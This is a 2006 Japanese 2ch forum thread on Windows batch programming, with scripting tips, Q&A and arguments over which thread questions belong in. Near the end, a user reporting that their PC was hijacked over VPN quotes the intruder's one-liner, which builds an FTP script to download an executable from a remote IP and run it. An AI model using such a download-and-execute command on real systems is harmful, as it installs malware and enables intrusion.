バッチファイルプログラミング 3.bat

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
前スレ
バッチファイルプログラミング 2.bat
http://pc8.2ch.net/test/read.cgi/tech/1104911889/

関連スレ
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/
MS-DOS・Win3.1総合スレッド
http://pc8.2ch.net/test/read.cgi/win/1025462258/
WSH(・∀・)スレッド!
http://pc8.2ch.net/test/read.cgi/tech/1055075469/

バッチファイルプログラミングとは・・・・
・ファイル拡張子が ".bat"
・複数のコマンドを使い、実行させるバッチファイルを作る
を満たせばOK!
2デフォルトの名無しさん:2006/05/25(木) 00:55:29
2get zusa
3デフォルトの名無しさん:2006/05/25(木) 01:16:20
        ___
    /´. _, -―-、ヽ、
  ./  l´[☆ィTfヘマ、 ヽ
 |  | |ィケリノ |ト}!l|
 | _| レァ予  伝yリ|    ,..、
  | fr| 《{_丿   Ljハ‖  _,ノ/`il  / / 、``_ .┼┐
  | ゞ||'''  r‐ァ`,ツイイ´  ハ il   /   |     / /
 |  | 「`}T 云'I「|{ {::::{   V リ  \
 || N {`ヾー弋イノ`衣√`ヾノ
  从 |、

4デフォルトの名無しさん:2006/05/25(木) 09:02:15

> 982:デフォルトの名無しさん [sage] :2006/05/22(月) 10:42:33
>  もう次スレは建てる必要ないよね?
>
> 983:デフォルトの名無しさん [sage] :2006/05/22(月) 13:30:37
>  といっても、勘違いに踊らされて立てる子が必ず居ると予測。
>  いつでも踊り手に事欠かないのが2chだからなw

踊り手、乙
5デフォルトの名無しさん:2006/05/25(木) 15:02:16
echo off
6デフォルトの名無しさん:2006/05/25(木) 15:30:30

> バッチファイルプログラミングとは・・・・
> ・ファイル拡張子が ".bat"
> ・複数のコマンドを使い、実行させるバッチファイルを作る
> を満たせばOK!

>>1の個人意見がこのスレの趣旨になるわけはない。
これは偶々>>1に書かれているだけで、スレの中に埋もれる数多くの狂った個人意見の一つ。
このスレの趣旨は引き続き前スレと同じなのでよろしく。
7デフォルトの名無しさん:2006/05/25(木) 15:39:59
>3
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
お前がバーカ
8デフォルトの名無しさん:2006/05/25(木) 15:40:56
>>6-7
荒らしキタ━━━━━━(゚∀゚)━━━━━━ !!!!!
9デフォルトの名無しさん:2006/05/25(木) 17:44:24
>>6
じゃあ、その趣旨に沿ったスレ立ててそっちでやれば?
10デフォルトの名無しさん:2006/05/25(木) 18:40:21
間違ってここに質問に来るやつがかわいそう。
他の板にちゃんとしたスレがあるのに
11デフォルトの名無しさん:2006/05/25(木) 22:59:01
>>9
ここがそのスレだから問題なし。
前スレから趣旨変えしたければ、変えたい奴がスレタイも変えるべき。
12デフォルトの名無しさん:2006/05/25(木) 23:11:36
さいですか
13デフォルトの名無しさん:2006/05/25(木) 23:18:04
どうしても自分を通さなければ納得できない頑固者が住み着くと
どうしようもないですね。

>>11
で、お前が前スレか前々スレの1か?
そうならば、そうと自己申告した方がいいぞ。
関係ないなら、このスレの1の主張に従うべきだ。
14デフォルトの名無しさん:2006/05/26(金) 22:35:08
>>13
どうしたの?
15デフォルトの名無しさん:2006/05/27(土) 21:38:38
>>13
ぬるぽ?
16デフラグさん ◆mRgSYalFkQ :2006/05/28(日) 16:52:14

  [ ゚д゚]y-一~~~~ >>15ノデフラグガッカンリョウシマシタ
 ノ[ ヘ ヘ
13>>?ぬぽる
17デフォルトの名無しさん:2006/06/06(火) 18:17:06
バッチスレ出だしから殺伐しててしびれるぜ
俺がバッチのアウトローさを知ったのは

type %0 >> %0

これは他じゃ味わえない、何かもっとありそうだ
18デフォルトの名無しさん:2006/06/06(火) 22:43:57
>>17
スレ違い
> ・複数のコマンドを使い、実行させるバッチファイルを作る
を満たしていない




とレスしてさらに殺伐とさせてみようと思ったがやめた
19デフォルトの名無しさん:2006/06/06(火) 22:48:58
>>18
ww
20デフォルトの名無しさん:2006/06/06(火) 22:52:24
>>18
やめたと言いつつw
21デフォルトの名無しさん:2006/06/08(木) 07:07:41
質問ここでいいの?
空白を含む可能性のある任意のパスにある実行ファイルabc.exeのパスを取得し、環境変数に代入するにはどうすればいいですか?
22デフォルトの名無しさん:2006/06/08(木) 08:28:36
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。
23デフォルトの名無しさん:2006/06/08(木) 12:40:37
>>22
しつこく貼ると通報するぞ
24デフォルトの名無しさん:2006/06/08(木) 19:50:00
どこへ?
25デフォルトの名無しさん:2006/06/08(木) 21:41:01
脳内通報
現実には何もしない、何もおこらないw
26デフォルトの名無しさん:2006/06/09(金) 05:09:55
_________K仲川について Part10____________
http://net-tv.ddo.jp/bbs/sure/test/read.php/gabbs/1147878262/l50

【初めて仲川勝彦(K仲川)と仕事する方へ】
http://pc8.2ch.net/test/read.cgi/prog/1149580345/l50

          †         
http://pc8.2ch.net/test/read.cgi/prog/1111407459/l50
27デフォルトの名無しさん:2006/06/10(土) 11:09:41
デスクトップ上のマウスカーソルをバックグラウンドな砂時計に変える方法ないですかね。

setcursor hourglass
... 重い処理 ...
setcursor default

みたいな感じで
28デフォルトの名無しさん:2006/06/10(土) 11:14:25
29デフォルトの名無しさん:2006/06/10(土) 20:38:13
>>27
まさしくそのsetcursorみたいなプログラムを作ればいい。
そのプログラムについての質問はスレ違い。
30デフォルトの名無しさん:2006/07/01(土) 11:56:44
コマンドプロンプトの/?や/hを日本語化するにはどうすればいいですかね?
31デフォルトの名無しさん:2006/07/01(土) 12:14:05
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
http://pc8.2ch.net/test/read.cgi/win/1116131036/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。
32デフォルトの名無しさん:2006/07/01(土) 14:44:23
>>31
了解ー
33デフォルトの名無しさん:2006/07/01(土) 18:22:42
34デフォルトの名無しさん:2006/07/01(土) 18:25:37
35デフォルトの名無しさん:2006/07/01(土) 20:06:48
36デフォルトの名無しさん:2006/07/06(木) 14:54:20
37デフォルトの名無しさん:2006/08/04(金) 20:01:36
いやなやつが多いこのスレは過疎って死にました・・
38あぼーん:あぼーん
あぼーん
39デフォルトの名無しさん:2006/08/11(金) 08:48:23
テンプレも修正


22 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 08:28:36
質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/

> DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
> wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
> コマンドラインインタフェースに関するネタならなんでもOK。

23 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 12:40:37
>>22
しつこく貼ると通報するぞ

24 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 19:50:00
どこへ?

25 名前:デフォルトの名無しさん[sage] 投稿日:2006/06/08(木) 21:41:01
脳内通報
現実には何もしない、何もおこらないw
40:2006/08/16(水) 00:18:15
粘着しか脳のない奴(プゲラ
41デフォルトの名無しさん:2006/09/26(火) 21:00:10
実行中にcmdの窓を最小化させる方法はないですか?
42デフォルトの名無しさん:2006/09/26(火) 21:55:24
プログラミングと関係ない質問はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/
43デフォルトの名無しさん:2006/09/27(水) 05:08:51
44デフォルトの名無しさん:2006/09/27(水) 06:33:29
23だけでなく23-25まで貼るってことは、42を非難しているのではなく支持しているってことだよね。
45デフォルトの名無しさん:2006/10/20(金) 01:14:55
age失礼します。

FOR /F 〜にて、DELIMSにTABを指定する際に、
見た目のスペースを別の文字に置き換えることって可能でしょうか?
例えば "DELIMS=[TAB]" を "DELIMS=\t" のようにするなど。
46デフォルトの名無しさん:2006/10/20(金) 01:20:18
不可能だけど、何か?
エディタの方でいくらでも対応可能だし。
47デフォルトの名無しさん:2006/10/20(金) 01:21:30
>>46さん
エディタの方で対応可能というのはどういうことでしょうか?
48デフォルトの名無しさん:2006/10/21(土) 11:07:03
こっちで質問した方がいいよ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
ttp://pc8.2ch.net/test/read.cgi/win/1152544955/
4946:2006/10/22(日) 05:35:42
>>48さん
ありがとうございます。
そちらで聞いてみます。
50デフォルトの名無しさん:2006/10/26(木) 14:39:53
サービスを○秒まってから起動する
にはどうしたら良いでしょうか?

サービスの起動方法は分かるのですが、
○秒まってからが分かりません。
51デフォルトの名無しさん:2006/10/26(木) 14:56:34
CygwinとかのSleepコマンドを拾ってくるかpingで代用
rem 5秒待ち
ping localhost -n 5 >NUL
52デフォルトの名無しさん:2006/10/26(木) 16:20:27
53デフォルトの名無しさん:2006/10/26(木) 16:25:07
そういうのインストールするぐらいなら
バッチじゃなくてちゃんとしたプログラム使った方がいい。
54デフォルトの名無しさん:2006/10/26(木) 17:34:44
そんなのどうでもいいがな
55あぼーん:あぼーん
あぼーん
56デフォルトの名無しさん:2006/10/26(木) 18:51:09
最近、その話に乗って、あっちに行ったひとが居るが、
あっちの回答より、こっちの回答のほうが、よかったような。。。
可哀そうに。
57デフォルトの名無しさん:2006/10/26(木) 19:08:26
>>51
残念それは4秒だ
58デフォルトの名無しさん:2006/10/26(木) 19:42:18
もうアホのアスペ患者君はスルーしとけ
59デフォルトの名無しさん:2006/10/26(木) 21:16:52
>>53
インストールというより、解凍して
パスの通るフォルダにつっこんでやるだけのような・・・。
60デフォルトの名無しさん:2006/10/26(木) 21:24:56
それプログラミングの話か?
61デフォルトの名無しさん:2006/10/26(木) 22:05:53
プログラミングの素材の話でしょ。
プログラミングのスレでプログラミングの素材の話をしてなんか悪いの?
62デフォルトの名無しさん:2006/10/26(木) 22:06:46
もうアホのアスペ患者君はスルーしとけ
63デフォルトの名無しさん:2006/10/26(木) 22:25:58
こんな話ならいいのかな?

前スレ
>902 名前: デフォルトの名無しさん 2006/04/24(月) 07:42:09
>echoで表示される位置をひとつ上に移動する方法ありますか。
>:loop
>echo %date%
>ひとつ上に移動
>goto loop
>こんな感じで使いたいんです

:loop
set /p x=^h^h^h^h^h^h^h^h^h^h%date%<NUL
goto loop

^hはback spaceに置き換えて。
テストしてないので、数は調整してください。
64デフォルトの名無しさん:2006/10/26(木) 22:42:46
このスレは本スレに誘導するためだけに存在するんだけど
65デフォルトの名無しさん:2006/10/26(木) 23:42:29
では、誘導のために、ネタを。

前スレ
>758 名前: デフォルトの名無しさん 2006/02/12(日) 21:40:36
>バッチの機能だけで実現するのは面倒だからバッチファイルに
>JScriptを埋め込んでみました。JScriptでfoo.txtというテキスト
>ファイルを読んで, set文が何行か並んだバッチsetenv.batを
>作ってそれをcallしてます。
>@if (0==1) rem
>@echo off
>cscript.exe //nologo //e:jscript %0 >> setenv.bat
>goto exit
>@else
>// ここからJScript
>// ここまでJScript
>@end/*
>:exit
>:*/

をすっきりスリムに。

@if(0==1) REM
@CScript.exe //NoLogo /E:JScript %0
@GOTO :EOF
@end
WScript.Echo(1);
66デフォルトの名無しさん:2006/10/27(金) 15:35:23
rubyなら

@echo off
ruby -x %0
goto :eof

#!ruby
puts "hello"
__END__
67デフォルトの名無しさん:2006/10/27(金) 17:33:54
新作の2行sleepはいかが?

ECHO CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName:WScript.Sleep WScript.Arguments.Item(0)*1000 >-
CScript.exe //NoLogo //E:VBS - 5
68デフォルトの名無しさん:2006/10/27(金) 19:10:27
1行sleepで5秒(以上かかる)sleep
mshta.exe "about:<hta:application id="h" windowstate="minimize"/><script>setTimeout('close()',1e3*h.commandLine.split(/\s/).pop())</script>" 5
69デフォルトの名無しさん:2006/10/30(月) 23:28:55
rename、特に、新ファイル名のワイルドカードについての情報ありませんか。
例えば、*abc.extとすると、後方から探してaがあると、そこからabc.ext、
なければ、後ろに追加となるみたいです。
70デフォルトの名無しさん:2006/10/31(火) 05:15:34
>>69
別にrenameの場合の特例って無いよ。普通通り。
71デフォルトの名無しさん:2006/10/31(火) 12:46:38
>>70
誘導先スレ
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)

>712 :名無し~3.EXE:2006/04/18(火) 17:15:24 ID:BZjMm8ki
>aho_ABC_baka.txt, ihi_ABC_ufu.jpg, ehe_ABC_oho.c, ...
>みたいに、ファイル名に一部を含むファイルがたくさんあって、
>それをすべて ABC → DEF のように変更したいのですが、
>ren *_ABC_* *_DEF_*
>とすると、
>aho_ABD_DEF_.txt, ihi_ABC_DEF_.jpg, ehe_ABC_DEF_.c
>となってしまいます。なぜですか?
という記事があったので、試してみたら、確かにそうなります。
これはどういう理屈でしょう?
72デフォルトの名無しさん:2006/11/03(金) 22:04:30
質問じゃないので、こっちのスレなのかな?

こんなのは如何でしょう?

FORコマンドでエクスプローラで選択したファイル群を処理する.CMD

@if(0)==(0) ECHO OFF
FOR /F "delims=" %%0 IN ('CScript.exe //NoLogo /E:JScript "%~f0"') DO ECHO "%%0"
GOTO :EOF
@end
var ie=new ActiveXObject('Shell.Application').Windows().Item();
if(ie){
var FolderItems=ie.Document.SelectedItems();
if(FolderItems){
for(var k=0;k<FolderItems.Count;k++) WScript.Echo(FolderItems.Item(k).Path);
}
}
73デフォルトの名無しさん:2006/11/03(金) 22:17:51
完全にスレ違い
74デフォルトの名無しさん:2006/11/04(土) 22:52:54
ひょっとして、.CMDは駄目?
じゃ、
FORコマンドでエクスプローラで選択したファイル群を処理する.BAT
に変更。
75あぼーん:あぼーん
あぼーん
76デフォルトの名無しさん:2006/11/04(土) 23:09:47
>>74
いいんでないの。

Win 9x系で動作しないバッチは .cmd にするのが好き
77デフォルトの名無しさん:2006/11/04(土) 23:35:12
.BATはMS-DOS バッチ ファイルだけど、
.CMDはWindows NT コマンド スクリプトなのね。
78デフォルトの名無しさん:2006/11/09(木) 00:33:17
UNIXでいう echo "\$HOME" 見たいなことをしたいんですけど、
コマンドプロンプトで環境変数の展開を抑制してコマンドに渡すのってどうするの?

echo "%DATE%"
echo "\%DATE\%"
echo "%%DATE%%"

とかやってみたんですけど全部展開されてしまいます。。。
79デフォルトの名無しさん:2006/11/09(木) 00:39:34
>>78
BATファイルの中に書くなら
echo %%DATE%%
でおk

cmd.exeのコマンドラインなら ^ でエスケープ
echo ^%DATE^%

"" でくくりたいなら
echo ^"^%DATE^%^"
80デフォルトの名無しさん:2006/11/09(木) 01:34:15
コマンドプロンプトでは、
echo ^%DATE%
は置換されるけど、
echo %DATE^%
echo %^DATE%
は置換されない。

構文解析の順序で、DATE^や^DATEという変数がないと思ってるみたい。
81デフォルトの名無しさん:2006/11/09(木) 06:18:18
コマンドプロンプトの使い方=パソコンの使い方だろ
82デフォルトの名無しさん:2006/11/09(木) 10:39:36
set "DATE^=bbb"
とすれば
echo ^%DATE^%
は置換されます。

%^DATE%や%^D^A^T^E^%なども置換されにくい。

逆に
SET p=%
echo %p%DATE%p%
なんてやると大丈夫みたい。
83あぼーん:あぼーん
あぼーん
84デフォルトの名無しさん:2006/11/09(木) 11:31:20
コマンドプロンプトも
(
echo echo hoge
echo exit
)|cmd
とやればコマンドスクリプト!
85デフォルトの名無しさん:2006/11/10(金) 15:02:57
""で括る場合は、
ECHO "%^DATE%"
とすると、^が"でエスケープされて、
"%^DATE%"
となるので、
ECHO ^"%^DATE%"
のように、奇数番目の"の前に^を付けます。
以降の^が"でエスケープされなくなります。
86デフォルトの名無しさん:2006/11/12(日) 16:56:14
訂正
>ECHO ^"%^DATE%"
>のように、奇数番目の"の前に^を付けます。
>以降の^が"でエスケープされなくなります。

ECHO ^"%^DATE%^"
^"〜^"で^がエスケープされなくなります。
87デフォルトの名無しさん:2006/11/15(水) 00:10:13
バッチファイルで起動しているアプリケーションの
プロセス名を取得するにはどのようにすれば良いでしょうか?
8887:2006/11/15(水) 00:12:51
osはWINDOWS2000とXPになります
よろしくお願いします
89デフォルトの名無しさん:2006/11/15(水) 00:18:13
>>87
MEM
90あぼーん:あぼーん
あぼーん
91デフォルトの名無しさん:2006/11/15(水) 12:14:00
バッチファイルを使用して同じLANネットワークに接続されている
別のPCでDOSコマンドを実行したいと思っています。
どのようなコマンドで実現出来ますでしょうか?
OSはwindows2000になります。ご教授ください<(_ _)>
92デフォルトの名無しさん:2006/11/15(水) 12:20:41
バッチからDOSコマンド呼ぶだけじゃプログラミングとは呼ばない。
93あぼーん:あぼーん
あぼーん
94デフォルトの名無しさん:2006/11/15(水) 14:02:25
>>87
2k tlist.exe
xp tasklist.exe
95デフォルトの名無しさん:2006/11/15(水) 14:10:31
初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/108
>xcopyのコマンドでコピー先に既にあるファイルはコピーしない とするにはどうしたらいいでしょうか?

使用法: FindNotExistsCp.CMD コピー元ディレクトリ コピー先ディレクトリ

@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
FOR %%0 IN (%1) DO (
FOR /R %1 %%1 IN (*) DO (
SET x=%%~f1
SET x=!x:%%~f0=%2!
IF NOT EXIST "!x!" (
IF NOT EXIST "!x!\..\*" (
echo MD "!x!\.."
)
echo COPY "%%~f1" "!x!"
)
)
)
96デフォルトの名無しさん:2006/11/15(水) 14:34:11
誤爆?
97デフォルトの名無しさん:2006/11/15(水) 15:50:19
いや、バッチファイルプログラミングの話だからこっちかなと。
98デフォルトの名無しさん:2006/11/15(水) 16:35:45
バッチ内で
SET hoge=%hoge:a=b%
ってやると、hogeがないとき、
hoge=a=b
になります。変な仕様?
99デフォルトの名無しさん:2006/11/15(水) 17:12:40
動作はOSによって違ったりするし、そう動いたのならそういう仕様
100デフォルトの名無しさん:2006/11/15(水) 17:20:40
その辺はOSの仕様の話だからここへ ↓

Windows
http://pc8.2ch.net/win/
101デフォルトの名無しさん:2006/11/15(水) 20:10:15
何だか必死な人がいるねw
102デフォルトの名無しさん:2006/11/16(木) 02:21:52
どうせなら、記事の中身に注力してほしいな。
103デフォルトの名無しさん:2006/11/24(金) 19:46:18
あっちは下品でやーだ。
104デフォルトの名無しさん:2006/12/04(月) 23:11:09
FDのBATファイル作成で、TXTファイルをCドライブの
任意のフォルダにコピーしたいのですが、

copy /y test.txt C:\Downloads\test.txt

だと、Downloadsファイルにコピーされるのですが、
copy /y test.txt C:\Documents and Settings\test.txt

だと、「コマンドの構文が誤っています。」というエラーが
返ってきます。スペースの部分に%を入れたりしてみたのですが、
うまくいきません。

対処法をご存知の方、お知恵をお貸し頂けませんでしょうか。
105デフォルトの名無しさん:2006/12/04(月) 23:18:34
ダブルクオーテーションで括れ
106デフォルトの名無しさん:2006/12/04(月) 23:35:10
>105
できました!!

ありがとうございます!!
107あぼーん:あぼーん
あぼーん
108デフォルトの名無しさん:2006/12/06(水) 14:40:13
はいはい
109デフォルトの名無しさん:2006/12/11(月) 19:24:36
> http://pc8.2ch.net/test/read.cgi/win/1152544955/558
ローマ字覚えたてのもんで、こっちに来ました。

rem setlocal
set /p random=加える数を入力してください
set /a hoge+=random
set random=

rem setlocal
set /p cd=ディレクトリを入力してください
cd /d %cd%
set cd=
110デフォルトの名無しさん:2006/12/11(月) 19:35:03
あっちいけ
111デフォルトの名無しさん:2006/12/11(月) 22:18:42
はいはい
112デフォルトの名無しさん:2006/12/14(木) 19:39:47
逆に、他人に使われるバッチ内で%CD%や%RANDOM%を使うときは、
念のため環境変数を削除してから使うようにしたほうがいいですね。
113デフォルトの名無しさん:2006/12/14(木) 19:46:42
> http://pc8.2ch.net/test/read.cgi/win/1152544955/572
バッチで、標準入出力がコンソールかどうか区別する方法ってあります?
114デフォルトの名無しさん:2006/12/15(金) 00:07:16
ageで失礼します。

%TEST1% のような変数の"1"の部分を別途変数にして表現させたいのですが
可能でしょうか?

SET TEST1=AAA
SET CNT=1
この後、%CNT%を使って%TEST1%の値AAAを表示させたいのですが。。
分かりづらくて申し訳ないです。
115デフォルトの名無しさん:2006/12/15(金) 00:22:01
MS-DOS ver4 以降のみですが・・・

echo echo %%TEST%CNT%%%>aaa.bat
call aaa.bat
116デフォルトの名無しさん:2006/12/15(金) 00:28:13
>>115さん
ありがとうございます。
試してみたのですが、できませんでした。。
結果 %TEST1% となってしまいます。
当方、XPです。
117デフォルトの名無しさん:2006/12/15(金) 00:45:55
>>116
%TEST1% という文字列が出力できるなら
それを新しいbatに書き込んで実行するだけだからもう一息だね!



互換性を犠牲wにしてもいいなら遅延環境変数の展開を有効にした方が簡単だけどね。
setlocal enabledelayedexpansion
echo !TEST%CNT%!
118デフォルトの名無しさん:2006/12/15(金) 00:57:36
>>117さん
中間ファイルを作らずに実行するには
setlocalしかないですかね。。?
119114,116,118:2006/12/15(金) 01:01:37
一応、中間ファイルを作成して実行できました!
できれば中間ファイルを挟まずに実行したいのですが、
setlocal 〜 でうまく出ませんでした。なぜだろう。。
120114,116,118:2006/12/15(金) 01:11:39
すみません。
echo | echo %test%cnt%% でいけました。

色々と教えてくれた方、ありがとうございます。
お騒がせしました。
121デフォルトの名無しさん:2006/12/15(金) 02:08:57
call echo %%test%cnt%%%
122デフォルトの名無しさん:2006/12/15(金) 14:26:54
パイプの右側はサブプロセスで実行されるので、
echo | set hoge=%%test%cnt%%%
とやっても、現プロセスで受け取れませんが、
call set hoge=%%test%cnt%%%
ならok
123デフォルトの名無しさん:2006/12/15(金) 14:34:49
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/
124デフォルトの名無しさん:2006/12/15(金) 14:48:49
>>117
>遅延環境変数の展開
→環境変数の遅延展開(delayed expansion)
125デフォルトの名無しさん:2006/12/15(金) 15:04:06
call :sub echo %%TEST%CNT%%%
goto :eof
:sub
%*
126デフォルトの名無しさん:2006/12/15(金) 16:14:57
プログラミングじゃなくてOSの仕様の話だな
127デフォルトの名無しさん:2006/12/15(金) 18:13:50
cmd /c echo %%TEST%CNT%%%

お手を煩わせるのはなんなので

123 :デフォルトの名無しさん :2006/12/15(金) 14:34:49
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/
128デフォルトの名無しさん:2006/12/15(金) 20:27:09
NGワード:初心者〜管理者まで
NGワード2:必読!コマンドライン
129デフォルトの名無しさん:2006/12/15(金) 20:36:32
別にお前のNG設定なんて晒さなくてもいいよ
誰も興味ないからw
130:2006/12/15(金) 21:11:20
>>127
このスレを立てたものですが、はっきり言って迷惑です ('A`)
1に書いてある趣旨を外れなければ、バッチファイルプログラミングです。
他のスレがよければ、自分だけでそっちに行ってください。
131デフォルトの名無しさん:2006/12/15(金) 21:20:10
本スレあるのに気がつかないとかわいそうだろ
132デフォルトの名無しさん:2006/12/15(金) 21:22:43
スレ立てた人も、他の住人も立場的には全く変わらないわけだが。
>>6でも言われてるでしょ。
133:2006/12/15(金) 21:54:32
だから他がよければ他に行けって
おまえ一人でさ。
止めはしないよ。
134デフォルトの名無しさん:2006/12/15(金) 21:57:09
あれは別に「本」スレじゃないだろ
135デフォルトの名無しさん:2006/12/15(金) 22:00:35
バッチ限定でプログラミングだとスレが成り立たない。
実際プログラミングに関係ない話ばっかりだし
ここは廃止でいい。
136デフォルトの名無しさん:2006/12/15(金) 22:04:06
はいはい
137:2006/12/15(金) 22:05:09
>>82-128
よくみてみろ。
関係ない話をしているのは、誘導スレを連続貼りしてるおまえだけだと思うが。
他は、スレの趣旨に則った質問と回答のレスしかないだろ。

他所が良ければ、他所に行っていいよ。
このスレが嫌なら自分でスレを立てればいい。
とにかく迷惑なんだよ。人の迷惑。
138デフォルトの名無しさん:2006/12/15(金) 22:12:44
コマンドプロンプトの使い方とか「板違い」だから
やりたければよその板でやれ
139:2006/12/15(金) 22:15:40
>>138
じゃ、正式に手続き取って削除依頼でも出してくればいい。
このスレは3スレ目だが、2スレ目と1スレ目を立てたのは俺じゃない。
それだけ、需要があるんだよ。
嫌がらせしないで、板違いだとおっしゃるなら、どうぞ削除依頼に
出してください。
140デフォルトの名無しさん:2006/12/15(金) 22:19:03
>>138
ここはコマンドプロンプトの使い方でなくてバッチファイルプログラムのスレだろ。
141デフォルトの名無しさん:2006/12/15(金) 22:53:08
そもさん
ファイルの行数、文字数は如何に?

そもさん
環境変数の値のバイト数、文字数は如何に?
142デフォルトの名無しさん:2006/12/15(金) 22:55:10
>>141
あんたは禅宗か
143デフォルトの名無しさん:2006/12/15(金) 23:00:58
あれ、禅問答みたいなことやってると思って、つい。
144デフォルトの名無しさん:2006/12/16(土) 01:55:18
UNIXのshllだったら、以下の様な記述でPING結果による条件分岐が出来たのですが、
バッチだったらどの様に記述したら良いでしょうか?
if [ `/usr/sbin/ping $HOST_NAME 2>&1 | /usr/bin/awk '{ print $3 }'` = "alive" ]; then
echo "$HOST_NAME is alive"
else
echo "UNKNOWN HOST $HOST_NAME"
fi

何をしたいのかと言えば、サーバにPINGして応答があった場合、
net use \\server1\share1 /user:domain\user01 password01
でサーバに接続して処理する仕組みをバッチファイルに組み込みたいのです。
145デフォルトの名無しさん:2006/12/16(土) 05:48:24
>>144

for /f "usebackq delims==" %%i in (`%windir%\System32\ping.exe %HOST_NAME% ^| find /c "(100%% loss)"`) do if "%%i"=="0" (
echo %HOST_NAME% is alive
) else (
echo UNKNOWN HOST %HOST_NAME%
)

もっといい方法はあるかな
146デフォルトの名無しさん:2006/12/16(土) 08:00:22
ping結果は、100%% loss だけじゃなくて
unknown host とかunreach・・・とかもあるな。
147デフォルトの名無しさん:2006/12/16(土) 08:45:15
>>144
わざわざそんなことしなくても&&のようなもの(shellによるだろうけど)使えば一発じゃないか?
プログラミングを始める前にshellなりコマンドプロンプトの勉強をした方が良いと思われます。
148デフォルトの名無しさん:2006/12/16(土) 09:18:51
まさかこのスレにshellの能書き垂れる馬鹿がいるとは……
149デフォルトの名無しさん:2006/12/16(土) 11:06:29
>>144
バッチ初心者はこちらへどうぞ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/
150デフォルトの名無しさん:2006/12/16(土) 13:53:36
>>149は荒し
151デフォルトの名無しさん:2006/12/16(土) 16:08:03
>>147
手本を見せてみろ
152127:2006/12/17(日) 04:09:53
すみません。
無駄に>>123にスレッドが消費されないように、>>123を貼り付けたのですが、
かえって、たくさん消費されちゃいましたね。
アイデアとしてはよいと思ったのですが、やっぱ駄目ですかね。
153デフォルトの名無しさん:2006/12/17(日) 08:23:40
>>152
荒らし目的なら兎も角、そうでないなら頭悪すぎだからな。
154デフォルトの名無しさん:2006/12/19(火) 10:13:24
朝っぱらからスマソがおしえてくれ
IEを開くまでできるがその後、
ツール−インターネットオプション→クッキーの削除
するソースがわからん
155デフォルトの名無しさん:2006/12/19(火) 10:39:05
スレ違い
156デフォルトの名無しさん:2006/12/19(火) 11:30:41
>>154
自分でプログラムを作らない人はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/
157デフォルトの名無しさん:2006/12/19(火) 15:10:08
>>154
やったことないけど
del C:\Documents and Settings\username\Cookies\*.txt
は?
158デフォルトの名無しさん:2006/12/19(火) 15:49:05
>155-156
誘導スマソ ここが適所スレとおもた。
>157
なるほど直接ファイルのあるフォルダを指定して消すやり方もあるんだなぁ

キーボード操作でメニューバー動かすbatをおしえてくれろ
これで当分は自分でなんとか出来るからおねがいします
159デフォルトの名無しさん:2006/12/19(火) 16:11:34
160デフォルトの名無しさん:2006/12/19(火) 16:18:25
>>158
そういうのはバッチに限定しない方がいいからこっちへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
161デフォルトの名無しさん:2006/12/19(火) 16:26:55
>159-160
知らなかったorz

昨日batを知ったばかりの廚なのでスマソかった
162デフォルトの名無しさん:2006/12/19(火) 16:45:06
ちょっとだけスレ使わせていただきまつ

今、パソコン乗っ取られますた!ここの住人か?
初めての経験でつ勉強になりましたが気持ち悪かったです
で教えて欲しいですがセキュリティの甘いところはVPNのパスだけでしょうか?
それともルーターの設定があまいのかおしえれ
163デフォルトの名無しさん:2006/12/19(火) 16:56:33
昨日もおかしな現象が起こってたんだよな。
ipは晒してないから別の路線から来たと思うけど
それとも割れからトロイか?
164デフォルトの名無しさん:2006/12/19(火) 17:06:05
VPN経路で、ファイル名指定して実行で
cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex
ここまで書いたおまいだよ!
165デフォルトの名無しさん:2006/12/19(火) 17:27:25
本スレはここ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
